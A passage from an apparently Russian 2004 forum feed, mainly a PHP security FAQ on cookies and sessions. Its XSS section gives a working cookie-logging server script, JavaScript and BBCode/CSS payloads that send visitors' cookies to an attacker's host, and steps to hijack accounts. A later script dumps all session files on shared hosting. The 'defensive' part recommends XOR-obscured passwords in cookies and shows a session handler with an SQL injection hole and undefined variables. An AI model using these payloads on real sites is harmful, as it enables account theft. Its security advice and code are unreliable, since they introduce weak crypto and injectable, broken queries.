<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">sub dirname {+&amp;basename(&#39;dir&#39;, @_)}</div><div class="code_line">sub filename {+&amp;basename(&#39;file&#39;, @_)}</div><div class="code_line">sub basename {</div><div class="code_line">&nbsp;&nbsp; &nbsp;use Path::Class qw&#39;dir file&#39;;</div><div class="code_line">&nbsp;&nbsp; &nbsp;my($sub, $result)=&#39;Path::Class::&#39;.shift;</div><div class="code_line">&nbsp;&nbsp; &nbsp;my$func=sub {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;if(!defined $_[0] || $_[0]=~/^(?:https?:|ftps?:|\\|\/\/)/io){+$_[0]}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;elsif(defined($result=$sub-&#62;($_))){+$result-&#62;absolute}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;else{+$_[0]}</div><div class="code_line">&nbsp;&nbsp; &nbsp;};</div><div class="code_line">&nbsp;&nbsp; &nbsp;return $func-&#62;(+shift) unless wantarray;</div><div class="code_line">&nbsp;&nbsp; &nbsp;+ map $func-&#62;($_), @_</div><div class="code_line">}</div></ol></div></div></div></div><br>
Примеры:<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">print filename &#39;./db1.mdb.dsn&#39;;</div><div class="code_line">print filename &#39;http://forum.sources.ru./&#39;;</div><div class="code_line">print dirname &#39;/home/etc&#39;;</div></ol></div></div></div></div><br>
В Windows2000 вывод такой:<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">C:\home\www\home\dev\www\db1.mdb.dsn1</div><div class="code_line">http://forum.sources.ru./</div><div class="code_line">C:\home\etc\</div></ol></div></div></div></div><br>
А, вообще-то, при вызове функций filename и dirname образуются объекты типа Path::Class::File и Path::Class::Dir с перегруженным оператором &#39;&quot;&quot;&#39; (двойные кавычки).<br>
Подробнее об этих объектах в <div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">perldoc Path::Class</div></ol></div></div></div></div>]]></description>
        <author>Tishaishii</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=494139</guid>
        <pubDate>Wed, 27 Oct 2004 15:39:30 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=494139</link>
        <description><![CDATA[SergeS: <span class="tag-color tag-color-named" data-value="blue" style="color: blue"><span class='tag-size' data-value='13' style='font-size:13pt;'><strong class='tag-b'>Обзор редакторов</strong></span></span><br>
<br>
Здесь - <a class='tag-url' href='http://forum.sources.ru/index.php?showtopic=62910' target='_blank'>Тест редакторов</a>]]></description>
        <author>SergeS</author>
        <category>PHP</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=484111</guid>
        <pubDate>Fri, 15 Oct 2004 13:19:53 +0000</pubDate>
        <title>FAQ</title>
        <link>https://forum.sources.ru/index.php?showtopic=61988&amp;view=findpost&amp;p=484111</link>
        <description><![CDATA[Trustmaster: <span class="tag-color tag-color-named" data-value="blue" style="color: blue"><span class='tag-size' data-value='13' style='font-size:13pt;'><strong class='tag-b'>3. Security.</strong></span></span><br>
<br>
Если вы занимаетесь разработкой веб-сайтов, то наверняка уделяете внимание аспектам безопасности. Механизм управления пользовательскими сеансами - одно из самых привелекательных мест для злоумышленника. Ведь зайдя на сайт под чужим аккаунтом, он может с легкостью получить нужные права/информацию.<br>
<br>
О безопасности некоторых методов управления сеансами мы поговорим здесь.<br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><span class='tag-size' data-value='11' style='font-size:11pt;'><strong class='tag-b'>3.1. Безопасность Cookies.</strong></span></span><br>
<br>
Как мы знаем, cookies чаще всего хранятся в виде текстовых файлов на жестком диске пользователя. Поэтому злоумышленник может получить эти данные, заслав на компьютер пользователя свой подлый троян. В данном случае ответственность за последствия лежит на плечах самого пользователя, который не пользуется антивирусным ПО и брандмауэром. Посоветовать можно только одно: использовать упомянутый выше софт + программы, удаляющие SpyWare, AdWare и тому подобные шпионы, нарушающие конфиденциальность.<br>
<br>
А вот другая сторона безопасности плюшек - забота веб-программиста. Она связана со внедрением произвольного кода на ваши веб-страницы. Для того, чтобы понять, как же злоумышленник может заполучить данные ваших добросовестных посетителей, расскажу немного об атаках, именуемых Cross Site Scripting (XSS).<br>
<br>
Цель такой атаки - захватить данные чужой сессии, чтобы затем войти на сайт под чужим аккаунтом. Какая от этого выгода? Зависит от ситуации. Минимум - возможность поглумится над добросовестными посетителями. Максимум - возможность украсть конфиденциальную информацию или поуправлять, скажем, форумом.<br>
<br>
Код, необходимый для такой атаки обычно состоит из двух частей - клиентской и серверной. Последняя представляет собой скрипт, расположенный на сайте злоумышленника, принимающий и сохраняющий данные, полученные от клиентского кода, в лог-файле для последующего просмотра. Приведу пример такого скрипта на PHP.<br>
<br>
<strong class='tag-b'>Листинг 3.1.1, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;?php</div><div class="code_line">define(&#39;LOG_FILE&#39;, &#39;tmp/log.txt&#39;); // Лог-файл.</div><div class="code_line">//Он должен быть доступен для записи (chmod 777 tmp).</div><div class="code_line">&nbsp;</div><div class="code_line">// Сохраняет плюшку в лог-файле</div><div class="code_line">function save_cookie($text)</div><div class="code_line">{</div><div class="code_line">&nbsp;       if(!file_exists(LOG_FILE)) touch(LOG_FILE);</div><div class="code_line">&nbsp;       $fp = fopen(LOG_FILE, &#39;a&#39;);</div><div class="code_line">&nbsp;       fputs($fp, &quot;--------------------- [ COOKIE ] ---------------------\r\n&quot;);</div><div class="code_line">&nbsp;       fputs($fp, $text.&quot;\r\n&quot;);</div><div class="code_line">&nbsp;       fputs($fp, &quot;--------------------- [ /COOKIE ] --------------------\r\n&quot;);</div><div class="code_line">&nbsp;       fclose($fp);</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">// Показывает все плюшки</div><div class="code_line">function view_cookies()</div><div class="code_line">{</div><div class="code_line">&nbsp;       if(!file_exists(LOG_FILE)) touch(LOG_FILE);</div><div class="code_line">&nbsp;       $fp = fopen(LOG_FILE, &#39;r&#39;);</div><div class="code_line">&nbsp;       echo &quot;&#60;pre&#62;\r\n&quot;;</div><div class="code_line">&nbsp;       while(!feof($fp))</div><div class="code_line">&nbsp;       {</div><div class="code_line">&nbsp;               $line = fgets($fp);</div><div class="code_line">&nbsp;               echo $line;</div><div class="code_line">&nbsp;       }</div><div class="code_line">&nbsp;       echo &quot;&#60;/pre&#62;\r\n&quot;;</div><div class="code_line">&nbsp;       fclose($fp);</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">// Очищает лог</div><div class="code_line">function clean_log()</div><div class="code_line">{</div><div class="code_line">&nbsp;       if(file_exists(LOG_FILE)) unlink(LOG_FILE);</div><div class="code_line">&nbsp;       echo &#39;Файл очищен.&#39;;</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">// Тело</div><div class="code_line">$act = $_GET[&#39;act&#39;];</div><div class="code_line">switch($act)</div><div class="code_line">{</div><div class="code_line">&nbsp;       case &#39;add&#39;:</div><div class="code_line">&nbsp;            $cook = $_GET[&#39;cook&#39;];</div><div class="code_line">&nbsp;            save_cookie($cook);</div><div class="code_line">&nbsp;            break;</div><div class="code_line">&nbsp;       case &#39;show&#39;:</div><div class="code_line">&nbsp;            view_cookies();</div><div class="code_line">&nbsp;            break;</div><div class="code_line">&nbsp;       case &#39;clean&#39;:</div><div class="code_line">&nbsp;            clean_log();</div><div class="code_line">&nbsp;            break;</div><div class="code_line">&nbsp;       default: echo &#39;Интересно, что бы это могло быть?&#39;;</div><div class="code_line">}</div><div class="code_line">?&#62;</div></ol></div></div></div></div><br>
<br>
Работает он просто. Чтобы передать ему текст плюшки, нужно использовать такой вот get-запрос: <div class='tag-quote'><span class='tag-quote-prefix'>Цитата</span> <div class='quote '>http://mysite/cookz.php?act=add&amp;cook=our cookie body</div></div> Еще он умеет: показывать содержимое лога <div class='tag-quote'><span class='tag-quote-prefix'>Цитата</span> <div class='quote '>http://mysite/cookz.php?act=show</div></div> и очищать этот самый лог <div class='tag-quote'><span class='tag-quote-prefix'>Цитата</span> <div class='quote '>http://mysite/cookz.php?act=clean</div></div><br>
<br>
Для работы его достаточно закачать на сервер и выставить cmod 777 на папку tmp.<br>
<br>
Для того, чтобы передать скрипту нужную информацию, нам нужно каким-то образом внедрить в страницу-жертву код, который бы незаметно выполнял GET-запрос, передающий document.cookie. Для незаметности можно использовать окно, не отображающееся на экране.<br>
<br>
<strong class='tag-b'>Листинг 3.1.2, JavaScript:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">window.open(&#39;http://mysite/cookz.php?act=add&amp;cook=&#39; + document.cookie, &#39;XWindow&#39;, &#39;left=9999,top=9999&#39;)</div></ol></div></div></div></div><br>
<br>
Конечно, в интернете полно таких скриптов, которые не фильтруют данные, и достаточно только использовать этот скрипт в обрамлении тэгом script в своем сообщении. Вы наверняка знаете, что искать на таких сайтах нечего, а ваш сайт фильтрует HTML-тэги. Но не все так банально, существует одна особенность броузеров, которая позволяет внедрять JavaScript даже через суб-тэги BBCode.<br>
<br>
Все, что каким-либо образом касается URL, может содержать JavaScript-код. Скажем, такой вещью, как<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;a href=&quot;javascript:alert(&#39;Hi&#39;)&quot;&#62;ссылка&#60;/a&#62;</div></ol></div></div></div></div>никого не удивишь. Но как вам понравится такой расклад: <div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;img src=&quot;javascript:alert(&#39;Что, не ожидали, да?&#39;)&quot; /&#62;</div></ol></div></div></div></div><br>
Ясное дело, что на месте alert() может быть любой JavaScript-код. Если говорить о браузерах, то единственный, кто отказался выполнять javascript - Мозилла. Остальные работают как миленькие.<br>
Как это можно использовать? Многие форумы поддерживают субтэги<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">[IMG]путь_к_картинке[/IMG]</div></ol></div></div></div></div><br>
Если вместо пути к картинке вставить наш JS:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">[IMG]javascript:window.open(&#39;http://mysite/cookz.php?act=add&amp;cook=&#39; + document.cookie, &#39;XWindow&#39;, &#39;left=9999,top=9999&#39;)[/IMG]</div></ol></div></div></div></div><br>
то выходной HTML-код будет выглядеть так:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;img src=&quot;javascript:window.open(&#39;http://mysite/cookz.php?act=add&amp;cook=&#39; + document.cookie, &#39;XWindow&#39;, &#39;left=9999,top=9999&#39;)&quot; /&#62;</div></ol></div></div></div></div><br>
Это отправит текущую плюшку (содержащую данные сессии) нашему скрипту, в то время как пользователь увидит то, что картинка просто не загрузилась (в Мозилле он вообще ничего не увидит). <br>
Думаете на одном img дело заканчивается? Нет, дальше включайте вашу фантазию. Как включать фантацию? Приведу пример: эта же особенность наблюдается и в CSS. В свойстве background-image тоже содержится URL, вместо которой можно вставить наш JavaScript:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;div style=&quot;background-image:url(javascript:alert(&#39;JavaScript работает!&#39;))&quot;&#62;Привет!&#60;/div&#62;</div></ol></div></div></div></div><br>
Этим багом можно воспользоваться для внедрения JS в постинг на популярном форуме &quot;X-Forum&quot;. Если мы создадим такое сообщение:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">[color=red&quot; style=background-image:url(javascript:window.open(&#39;http://mysite/cookz.php?act=add&amp;cook=&#39; + document.cookie, &#39;XWindow&#39;, &#39;left=9999,top=9999&#39;));]Hello, everybody![/color]</div></ol></div></div></div></div><br>
то благополучно запустим нашу ловушку.<br>
<br>
Что делать с полученными данными? Чтобы их использовать, нам потребуется редактор плюшек. Можно воспользоваться программой под понятным названием &quot;Cookie Editor&quot;. А можно редактировать плюшки, не выходя из любимой Оперы, т.к. в Оперу встроен свой редактор плюшек (Tools -&gt; Cookies...). Открываем в редакторе свою плюшку (ту, которую браузер создал для нас) и заменяем данные на те, которые мы... э... позаимствовали. Сохраняем, заходим на сайт - вуаля&#33; - аккаунт наш. Делаем по-быстрому все, что хотим, ведь как только пользователь захочет выйти из системы, мы эту сессию потеряем. Если пароль не изменим/узнаем, конечно.<br>
<br>
Что делать, чтобы защититься от Cross Site Scripting&#39;а? Во-первых, нужно тщательно фильтровать входящие данные. О том, как это делать, я здесь говорить не буду. Уверен, вы и сами прекрасно справляетесь с этой задачей. Отмечу лишь то, что если вы используете cookies для авторизации, то неплохо использовать промежуточное шифрование, то есть хранить данные в плюшке в зашифрованном виде. Для этого можно пользоваться хотя бы алгоритмом XOR. Простейшая функция xor_crypt(), к примеру, на PHP, выглядит так (надеюсь, вы легко перенесете ее на нужный язык).<br>
<br>
<strong class='tag-b'>Листинг 3.1.3, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function xor_crypt($str, $key)</div><div class="code_line">{</div><div class="code_line">&nbsp;       $result = &#39;&#39;;</div><div class="code_line">&nbsp;       for($i = 0; $i &#60; strlen($str); $i++) $result .= chr(ord($str[$i]) ^ $key);</div><div class="code_line">&nbsp;       return $result;</div><div class="code_line">}</div></ol></div></div></div></div><br>
<br>
Заметьте, что ключ имеет тип byte (целое число от 0 до 255). Особенностью этого метода является то, что для того, чтобы получить изначальное значение нужно пройтись по шифрованному тем же ключом. К примеру, запишем в cookie логин и пароль, полученные от HTML-формы.<br>
<br>
<strong class='tag-b'>Листинг 3.1.4, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;?php</div><div class="code_line">define(&#39;CRYPT_KEY&#39;, 128);</div><div class="code_line">setcookie(&#39;login&#39;, xor_crypt($_POST[&#39;login&#39;], CRYPT_KEY), time() + 3600);</div><div class="code_line">setcookie(&#39;password&#39;, xor_crypt($_POST[&#39;password&#39;], CRYPT_KEY), time() + 3600);</div><div class="code_line">header(&#39;Location: main.php&#39;);</div><div class="code_line">?&#62;</div></ol></div></div></div></div><br>
<br>
В каждой странице для вызова, скажем, некой функции login(), нам нужно расшифровать эти данные.<br>
<br>
<strong class='tag-b'>Листинг 3.1.5, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;?php</div><div class="code_line">define(&#39;CRYPT_KEY&#39;, 128);</div><div class="code_line">$usr = login(xor_crypt($_COOKIE[&#39;login&#39;], CRYPT_KEY), xor_crypt($_COOKIE[&#39;password&#39;], CRYPT_KEY));</div><div class="code_line">?&#62;</div></ol></div></div></div></div><br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><span class='tag-size' data-value='11' style='font-size:11pt;'><strong class='tag-b'>3.2. Безопасность сессий PHP.</strong></span></span><br>
<br>
Всем хорош стандартный механизм сессий в PHP - удобно, практично, атоматизированно. Одно плохо - безопасность.<br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>3.2.1. Извлекаем чужие сессии.</strong></span><br>
<br>
Дело в том, что все сессии на вебсервере хранятся в одной папке, которая доступна для чтения/записи любому пользователю. Их можно запросто прочитать при помощи того же PHP скрипта. Этот скрипт прочитает все сессии, хранящиеся в данный момент на сервере и выведет их в более-менее удобочитаемой форме:<br>
<br>
<strong class='tag-b'>Листинг 3.2.1.1, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;?php</div><div class="code_line">// Функция форматирования данных сессии, unserialize() не работает.</div><div class="code_line">function sess_format($data)</div><div class="code_line">{</div><div class="code_line">&nbsp;       $result = str_replace(&#39;;&#39;, &#39;&#60;/dd&#62;&#60;dt&#62;&#39;, $data);</div><div class="code_line">&nbsp;       $result = str_replace(&#39;|&#39;, &#39;&#60;/dt&#62;&#60;dd&#62;&#39;, $result);</div><div class="code_line">&nbsp;       $result = &#39;&#60;dt&#62;&#39;.$result.&#39;&#60;/dt&#62;&#39;;</div><div class="code_line">&nbsp;       return $result;</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">// Извлекам путь к папке сессий</div><div class="code_line">$sess_dir = ini_get(&#39;session.save_path&#39;);</div><div class="code_line">if(empty($sess_dir)) $sess_dir = $_ENV[&#39;TEMP&#39;];</div><div class="code_line">&nbsp;</div><div class="code_line">// На ходу извлекаем все сессии</div><div class="code_line">$dp = opendir($sess_dir);</div><div class="code_line">chdir($sess_dir);</div><div class="code_line">while($file = readdir($dp))</div><div class="code_line">{</div><div class="code_line">&nbsp;       if(eregi(&#39;^sess_&#39;, $file))</div><div class="code_line">&nbsp;       {</div><div class="code_line">&nbsp;               // Извлекаем идентификатор</div><div class="code_line">&nbsp;               $sess_id = substr($file, strpos($file, &#39;_&#39;)+1, strlen($file) - strpos($file, &#39;_&#39;));</div><div class="code_line">&nbsp;               // Открываем файл и читаем данные в строку</div><div class="code_line">&nbsp;               $fp = fopen($file, &#39;r&#39;);</div><div class="code_line">&nbsp;               $sess_data = &#39;&#39;;</div><div class="code_line">&nbsp;               while(!feof($fp)) $sess_data .= fgetc($fp);</div><div class="code_line">&nbsp;               fclose($fp);</div><div class="code_line">&nbsp;               // Выводим результаты</div><div class="code_line">&nbsp;               echo &quot;&#60;b&#62;---------------- $sess_id ----------------&#60;/b&#62;&#60;br /&#62;\r\n&quot;;</div><div class="code_line">&nbsp;               echo &quot;&#60;dl&#62;\r\n&quot;;</div><div class="code_line">&nbsp;               echo sess_format($sess_data);</div><div class="code_line">&nbsp;               echo &quot;&#60;/dl&#62;\r\n&quot;;</div><div class="code_line">echo &quot;&#60;b&#62;-----------------------------------------</div><div class="code_line">------------------------------------------&#60;/b&#62;&#60;br /&#62;&#60;br /&#62;\r\n&quot;;</div><div class="code_line">&nbsp;       }</div><div class="code_line">&nbsp;</div><div class="code_line">}</div><div class="code_line">closedir($dp);</div><div class="code_line">?&#62;</div></ol></div></div></div></div><br>
<br>
Все логины, пароли и прочее тут же выползут наружу. Даже если данные хранятся в зашифрованном виде, то можно использовать хэши при помощи соответствующих форм (а для некоторых алгоритмов, например для md5, существуют дешифраторы) или использовать подмену Cookie. Единственная сложность - трудно выяснить, от какого же сайта данная сессия.<br>
<br>
Таким образом, ваши соседи по хостингу представляют потенциальную угрозу безопасности (впрочем, как и вы для них). Обычно даже при использовании виртуальных хостов сессии всех пользователей хранятся в одной папке (чаще всего &quot;/tmp&quot;). Даже если у каждого клиента имеется своя temprorary папка, то злоумышленник, зная путь к своей папке, легко вычислит полный путь до вашей.<br>
<br>
Что делать для защиты? Во-первых, шифровать важные данные (логин и пароль, например). Ни для кого не секрет, что большинство скриптов хранят пароли в сессиях открытым текстом&#33; Ну а во-вторых, что всех лучше, можно заместить стандартный механизм сессий, благо в PHP есть такая возможность.<br>
<br>
<span class="tag-color tag-color-named" data-value="blue" style="color: blue"><strong class='tag-b'>3.2.2. Замещаем механизм сессий в PHP.</strong></span><br>
<br>
Для замещения стандартного механизма сессий в PHP предусмотрена функция session_set_save_handler(). Базовый ее прототип выглядит так:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">bool session_set_save_handler(string open, string close, string read, string write,</div><div class="code_line">string destroy, string gc)</div></ol></div></div></div></div><br>
В качестве аргументов передаются имена функций-заместителей. В случае использования ОО класса нужно передавать массивы: array(&#39;ClassName&#39;, &#39;method_name&#39;).<br>
<br>
Наиболее удобным способ хранения данных сессий - использование БД. Во-первых, это защищает данные от посторонних глаз (если вы не раздаете пароль от своей базы налево и направо, конечно же). А во-вторых, это дает вам дополнительные возможности, такие как подсчет числа online пользователей или же журналирования сессий.<br>
<br>
В нашем примере для хранения данных мы будем использовать БД MySQL. Для работы нам понадобится простая таблица:<br>
<br>
<strong class='tag-b'>Листинг 3.2.2.1, SQL:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">CREATE TABLE sessions</div><div class="code_line">(</div><div class="code_line">&nbsp;&nbsp; &nbsp;session_id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,</div><div class="code_line">&nbsp;&nbsp; &nbsp;create_ts DATETIME DEFAULT &#39;NOW()&#39; NOT NULL,</div><div class="code_line">&nbsp;&nbsp; &nbsp;session_key VARCHAR(255) NOT NULL,</div><div class="code_line">&nbsp;&nbsp; &nbsp;session_data TEXT NOT NULL</div><div class="code_line">);</div></ol></div></div></div></div><br>
<br>
Использовать объектно-ориентированный класс смыла не много, ведь он будет всего-навсего контейнером для статических методов. Поэтому применим функционально-ориентированную методологию. Регистрационную информацию лучше указать в неком файле config.php. В нем же мы установим параметр &#39;session.gc_probability&#39;, который устанавливает вероятность запуска сборщика мусора (он удаляет устаревшие сессии) в процентах, а также &#39;session.gc_maxlifetime&#39;, который устанавливает срок годности сессий в период бездействия пользователя в секундах. На случай использования промежуточного шифрования мы также укажем ключ шифрования.<br>
<br>
<strong class='tag-b'>Листинг 3.2.2.2, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;?php</div><div class="code_line">// Сервер</div><div class="code_line">define(&#39;DB_HOST&#39;, &#39;localhost&#39;);</div><div class="code_line">// Имя пользователя</div><div class="code_line">define(&#39;DB_USER&#39;, &#39;username&#39;);</div><div class="code_line">// Пароль</div><div class="code_line">define(&#39;DB_PASS&#39;, &#39;password&#39;);</div><div class="code_line">// Имя базы</div><div class="code_line">define(&#39;DB_NAME&#39;, &#39;test&#39;);</div><div class="code_line">&nbsp;</div><div class="code_line">// Ключ для шифрования MCRYPT</div><div class="code_line">define(&#39;MCRYPT_CRYPT_KEY&#39;, &#39;my super secret key&#39;);</div><div class="code_line">&nbsp;</div><div class="code_line">// Вероятность запуска сборщика мусора</div><div class="code_line">ini_set(&#39;session.gc_probability&#39;, 100);</div><div class="code_line">// Срок годности сессии при отсутствии активности пользователя</div><div class="code_line">ini_set(&#39;session.gc_maxlifetime&#39;, 1440); // 15 минут</div><div class="code_line">?&#62;</div></ol></div></div></div></div><br>
<br>
Теперь переходим непосредственно к написанию функций. <br>
<br>
Функция &quot;open&quot; открывает источник данных сессий. PHP автоматически передает ей два параметра: &#036;save_path  и &#036;session_name. В нашем случае мы игнорируем оба аргумента, а функция sess_open() будет создавать глобальное подключение к базе данных, если таковое еще не создано.<br>
<br>
<strong class='tag-b'>Листинг 3.2.2.3, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function sess_open($save_path, $session_name)</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp;global $db;</div><div class="code_line">&nbsp;&nbsp; &nbsp;if(!is_resource($db)) $db = mysql_connect(DB_HOST, DB_USER, DB_PASS);</div><div class="code_line">&nbsp;&nbsp; &nbsp;mysql_select_db(DB_NAME, $db);</div><div class="code_line">&nbsp;&nbsp; &nbsp;return true;</div><div class="code_line">}</div></ol></div></div></div></div><br>
<br>
Функция &quot;close&quot; закрывает источник данных сессий и освобождает дополнительные ресурсы. У нас нет необходимости уничтожать какие-либо объекты или закрывать соединение с базой, поэтому мы оставляем ее почти пустой.<br>
<br>
<strong class='tag-b'>Листинг 3.2.2.4, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function sess_close()</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp;return true;</div><div class="code_line">}</div></ol></div></div></div></div><br>
<br>
Функция &quot;read&quot; должна получить данные сессии из источника в виде строки. В качестве аргумента она принимает идентификатор сессии. Если вы хотите использовать промежуточную шифрацию данных сессии, то это именно то место, где нужно вставить вызов дешифрующей функции.  В нашем примере закомментирован вызов соответствующей функции библиотеки MCrypt.<br>
<br>
<strong class='tag-b'>Листинг 3.2.2.5, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function sess_read($id)</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp;global $db;</div><div class="code_line">&nbsp;&nbsp; &nbsp;$data = mysql_result(mysql_query(&quot;SELECT session_data FROM sessions WHERE session_key = &#39;$id&#39;&quot;));</div><div class="code_line">&nbsp;&nbsp; &nbsp;// $data = mcrypt_ecb(MCRYPT_TripleDES, MCRYPT_CRYPT_KEY, $data, MCRYPT_DECRYPT);</div><div class="code_line">&nbsp;&nbsp; &nbsp;return $data;</div><div class="code_line">}</div></ol></div></div></div></div><br>
<br>
Функция записи должна создать новую сессию или же обновить данные текущей, если она существует. Ей передается идентификатор сессии и, непосредственно, данные. В случае создания новой сессии мы должны использовать INSERT запрос, а в случае обновления - UPDATE. Поэтому сначала мы проверим, существует ли сессия с таким ключем. Шифрующий вызов, как и в предыдущей функции, оставлю закомментированным.<br>
<br>
<strong class='tag-b'>Листинг 3.2.2.6, PHP:</strong><br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function sess_write($id, $data)</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp; &nbsp;global $db;</div><div class="code_line">&nbsp;&nbsp; &nbsp;// $data = mcrypt_ecb(MCRYPT_TripleDES, MCRYPT_CRYPT_KEY, $data, MCRYPT_ENCRYPT);</div><div class="code_line">&nbsp;&nbsp; &nbsp;$num = mysql_result(mysql_query(&quot;SELECT COUNT(*) FROM sessions WHERE session_key = &#39;$id&#39;&quot;));</div><div class="code_line">&nbsp;&nbsp; &nbsp;if($num == 1)</div><div class="code_line">&nbsp;&nbsp; &nbsp;{</div><div class="code_line">&nbsp; // Обновление существующей</div><div class="code_line">&nbsp; $sql = &quot;UPDATE sessions SET session_data = &#39;&quot;.mysql_real_escape_string($sess_data).&quot;&#39;,</div><div class="code_line">create_ts = NOW() WHERE session_id = $session_id&quot;;</div><div class="code_line">&nbsp;&nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp;else</div><div class="code_line">&nbsp;&nbsp; &nbsp;{</div><div class="code_line">&nbsp; // Создание новой</div><div class="code_line">&nbsp; $sql = &quot;INSERT INTO sessions (create_ts, valid, session_key, session_data) VALUES (NOW(),</div><div class="code_line">&#39;yes&#39;, &#39;&quot;. mysql_real_escape_string($id) .&quot;&#39;, &#39;&quot;. mysql_real_escape_string($sess_data) .&quot;&#39;)&quot;;</div><div class="code_line">&nbsp;&nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp;mysql_query($sql);</div><div class="code_line">&nbsp;&nbsp; &nbsp;return true;</div><div class="code_line">}</div></ol></div></div></div></div><br>
<br>
Для уничтожения сессии нам нужно удалить соответствующую строку таблицы. PHP передаст функции идентификатор той сессии, которую нужно удалить.<br>
<br>
<strong class='tag-b'>Листинг 3.2.2.7, PHP:</strong><br>
